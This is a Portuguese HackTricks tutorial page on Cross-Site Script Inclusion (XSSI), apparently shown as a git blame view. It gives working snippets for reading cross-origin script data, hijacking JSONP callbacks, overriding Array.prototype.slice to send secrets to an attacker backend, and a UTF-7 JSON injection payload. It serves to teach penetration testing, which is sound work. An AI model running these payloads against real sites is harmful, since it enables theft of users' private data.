hacktricks/pentesting-web/xssi-cross-site-script-inclusion.md

111 lines
9 KiB
Markdown
Raw Normal View History

2023-06-06 18:56:34 +00:00
# XSSI (Inclusão de Script entre Sites)
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>
2023-06-06 18:56:34 +00:00
#### As informações foram retiradas de [https://www.scip.ch/en/?labs.20160414](https://www.scip.ch/en/?labs.20160414)
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
## Informações Básicas
2023-06-06 18:56:34 +00:00
XSSI designa um tipo de vulnerabilidade que explora o fato de que, quando um **recurso é incluído usando a tag `script`, a SOP não se aplica**, porque os scripts devem ser capazes de serem incluídos entre domínios. Um atacante pode, portanto, **ler tudo** o que foi incluído usando a **tag `script`**.
2023-06-06 18:56:34 +00:00
Isso é especialmente interessante quando se trata de JavaScript dinâmico ou JSONP, quando informações de autoridade ambiental, como cookies, são usadas para autenticação. Os cookies são incluídos ao solicitar um recurso de um host diferente.
2023-06-06 18:56:34 +00:00
### Tipos
2023-06-06 18:56:34 +00:00
1. JavaScript estático (XSSI regular)
2. JavaScript estático, que só é acessível quando autenticado
3. JavaScript dinâmico
4. Não-JavaScript
2023-06-06 18:56:34 +00:00
## XSSI Regular
2023-06-06 18:56:34 +00:00
As informações privadas estão localizadas dentro de um arquivo JS global acessível, você pode detectar isso apenas lendo arquivos, procurando palavras-chave ou usando regexps.\
Para explorar isso, basta incluir o script com informações privadas dentro do conteúdo malicioso:
```markup
<script src="https://www.vulnerable-domain.tld/script.js"></script>
<script> alert(JSON.stringify(confidential_keys[0])); </script>
```
2023-06-06 18:56:34 +00:00
## XSSI baseado em JavaScript dinâmico e XSSI autenticado em JavaScript
2023-06-06 18:56:34 +00:00
**Informações confidenciais são adicionadas ao script quando um usuário o solicita**. Isso pode ser facilmente descoberto enviando a solicitação **com e sem os cookies**, se **informações diferentes** forem recuperadas, então informações confidenciais podem estar contidas. Para fazer isso automaticamente, você pode usar a extensão do burp: [https://github.com/luh2/DetectDynamicJS](https://github.com/luh2/DetectDynamicJS).
2023-06-06 18:56:34 +00:00
Se as informações residirem dentro de uma variável global, você pode explorá-las usando o mesmo código que para o caso anterior.\
Se os dados confidenciais forem enviados dentro de uma resposta JSONP, você pode substituir a função executada para recuperar as informações:
```markup
<script>
//The confidential info will be inside the callback to angular.callbacks._7: angular.callbacks._7({"status":STATUS,"body":{"demographics":{"email":......}}})
var angular = function () { return 1; };
angular.callbacks = function () { return 1; };
angular.callbacks._7 = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=angular.callbacks._7" type="text/javascript"></script>
```
2023-06-06 18:56:34 +00:00
Ou você também pode definir uma função preparada para ser executada pela resposta JSONP:
```markup
<script>
leak = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script>
```
2023-06-06 18:56:34 +00:00
Se uma variável não reside no namespace global, às vezes isso pode ser explorado de qualquer maneira usando _prototype tampering_. O prototype tampering abusa do design do JavaScript, ou seja, quando interpretando o código, o JavaScript percorre a cadeia de protótipos para encontrar a propriedade chamada. O exemplo a seguir é extraído do artigo [The Unexpected Dangers of Dynamic JavaScript](https://www.usenix.org/system/files/conference/usenixsecurity15/sec15-paper-lekies.pdf) e demonstra como substituir uma função relevante do tipo `Array` e acessar `this`, uma variável não global, pode ser vazada também.
```javascript
(function(){
var arr = ["secret1", "secret2", "secret3"];
// intents to slice out first entry
var x = arr.slice(1);
...
})();
```
2023-06-06 18:56:34 +00:00
No código original, `slice` do tipo `Array` acessa os dados que nos interessam. Um atacante pode, como descrito na cláusula anterior, substituir `slice` e roubar os segredos.
```javascript
Array.prototype.slice = function(){
// leaks ["secret1", "secret2", "secret3"]
sendToAttackerBackend(this);
};
```
2023-06-06 18:56:34 +00:00
O pesquisador de segurança [Sebastian Lekies](https://twitter.com/slekies) atualizou recentemente sua lista de [vetores](http://sebastian-lekies.de/leak/).
## Non-Script-XSSI
2023-06-06 18:56:34 +00:00
Takeshi Terada descreve outro tipo de XSSI em seu artigo [Ataques baseados em identificadores XSSI](https://www.mbsd.jp/Whitepaper/xssi.pdf). Ele conseguiu vazar arquivos Non-Script entre origens diferentes, incluindo, entre outros, arquivos CSV como fonte na tag `script`, usando os dados como nomes de variáveis e funções.
2023-06-06 18:56:34 +00:00
O primeiro ataque XSSI documentado publicamente foi em 2006. A entrada do blog de Jeremiah Grossman [Técnicas avançadas de ataque web usando o GMail](http://jeremiahgrossman.blogspot.ch/2006/01/advanced-web-attack-techniques-using.html) descreve um XSSI que, ao substituir o construtor `Array`, foi capaz de ler a lista de endereços completa de uma conta do Google.
2023-06-06 18:56:34 +00:00
Em 2007, Joe Walker publicou [JSON não é tão seguro quanto as pessoas pensam que é](http://incompleteness.me/blog/2007/03/05/json-is-not-as-safe-as-people-think-it-is/). Ele usa a mesma ideia para roubar JSON que está dentro de um `Array`.
2023-06-06 18:56:34 +00:00
Outros ataques relacionados foram realizados injetando conteúdo codificado em UTF-7 no JSON para escapar do formato JSON. É descrito por Gareth Heyes, autor do [Hackvertor](https://hackvertor.co.uk/public), na entrada do blog [JSON Hijacking](http://www.thespanner.co.uk/2011/05/30/json-hijacking/) lançado em 2011. Em um teste rápido, isso ainda era possível no Microsoft Internet Explorer e Edge, mas não no Mozilla Firefox ou Google Chrome.
2023-06-06 18:56:34 +00:00
JSON com UTF-7:
```javascript
[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}]
```
2023-06-06 18:56:34 +00:00
Incluindo o JSON na página do atacante
```markup
<script src="http://site.tld/json-utf7.json" type="text/javascript" charset="UTF-7"></script>
```
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>